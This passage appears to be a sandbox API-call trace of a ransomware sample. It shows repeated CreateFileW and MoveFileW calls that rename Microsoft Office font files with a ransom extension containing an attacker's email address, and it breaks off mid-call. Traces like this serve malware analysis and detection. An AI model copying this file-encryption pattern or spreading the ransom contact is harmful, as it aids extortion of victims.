hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.104] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LFAXI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lfaxi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.104] CloseHandle (hObject=0x10c0) returned 1 [0282.105] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.105] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LHANDW.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lhandw.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.105] CloseHandle (hObject=0x10c0) returned 1 [0282.106] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.106] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LSANS.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lsans.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.106] CloseHandle (hObject=0x10c0) returned 1 [0282.106] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.106] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LSANSD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lsansd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.107] CloseHandle (hObject=0x10c0) returned 1 [0282.108] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.108] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LSANSDI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lsansdi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.108] CloseHandle (hObject=0x10c0) returned 1 [0282.109] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.109] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LSANSI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lsansi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.109] CloseHandle (hObject=0x10c0) returned 1 [0282.110] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.110] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LTYPE.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ltype.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.110] CloseHandle (hObject=0x10c0) returned 1 [0282.111] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.111] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LTYPEB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ltypeb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.111] CloseHandle (hObject=0x10c0) returned 1 [0282.112] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.112] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LTYPEBO.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ltypebo.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.112] CloseHandle (hObject=0x10c0) returned 1 [0282.113] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.113] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LTYPEO.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ltypeo.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.113] CloseHandle (hObject=0x10c0) returned 1 [0282.114] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.114] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MAGNETOB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\magnetob.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.114] CloseHandle (hObject=0x10c0) returned 1 [0282.115] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.115] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MAIAN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\maian.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.115] CloseHandle (hObject=0x10c0) returned 1 [0282.116] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.116] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MATURASC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\maturasc.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.116] CloseHandle (hObject=0x10c0) returned 1 [0282.117] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.117] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MISTRAL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\mistral.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.117] CloseHandle (hObject=0x10c0) returned 1 [0282.118] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.118] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MOD20.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\mod20.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.118] CloseHandle (hObject=0x10c0) returned 1 [0282.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSJH.TTC" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msjh.ttc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSJH.TTC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msjh.ttc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSJHBD.TTC" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msjhbd.ttc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSJHBD.TTC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msjhbd.ttc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.125] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.125] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSUIGHUB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msuighub.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.125] CloseHandle (hObject=0x10c0) returned 1 [0282.127] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.127] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSUIGHUR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msuighur.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.127] CloseHandle (hObject=0x10c0) returned 1 [0282.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSYH.TTC" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msyh.ttc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSYH.TTC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msyh.ttc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSYHBD.TTC" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msyhbd.ttc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MSYHBD.TTC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\msyhbd.ttc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.579] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.579] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\MTCORSVA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\mtcorsva.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.579] CloseHandle (hObject=0x10c0) returned 1 [0282.580] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.580] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCC____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocc____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.580] CloseHandle (hObject=0x10c0) returned 1 [0282.581] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.582] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCK.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rock.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.582] CloseHandle (hObject=0x10c0) returned 1 [0282.582] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.582] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.583] CloseHandle (hObject=0x10c0) returned 1 [0282.584] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.584] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKBI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockbi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.584] CloseHandle (hObject=0x10c0) returned 1 [0282.584] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.585] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKEB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockeb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.585] CloseHandle (hObject=0x10c0) returned 1 [0282.586] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.586] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocki.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.587] CloseHandle (hObject=0x10c0) returned 1 [0282.587] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.587] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.588] CloseHandle (hObject=0x10c0) returned 1 [0282.588] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.589] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkbi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.589] CloseHandle (hObject=0x10c0) returned 1 [0282.590] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.590] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbki.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.590] CloseHandle (hObject=0x10c0) returned 1 [0282.591] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.591] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\scriptbl.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.591] CloseHandle (hObject=0x10c0) returned 1 [0282.592] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.592] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\segoeuisl.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.593] CloseHandle (hObject=0x10c0) returned 1 [0282.593] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.593] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SHOWG.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\showg.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 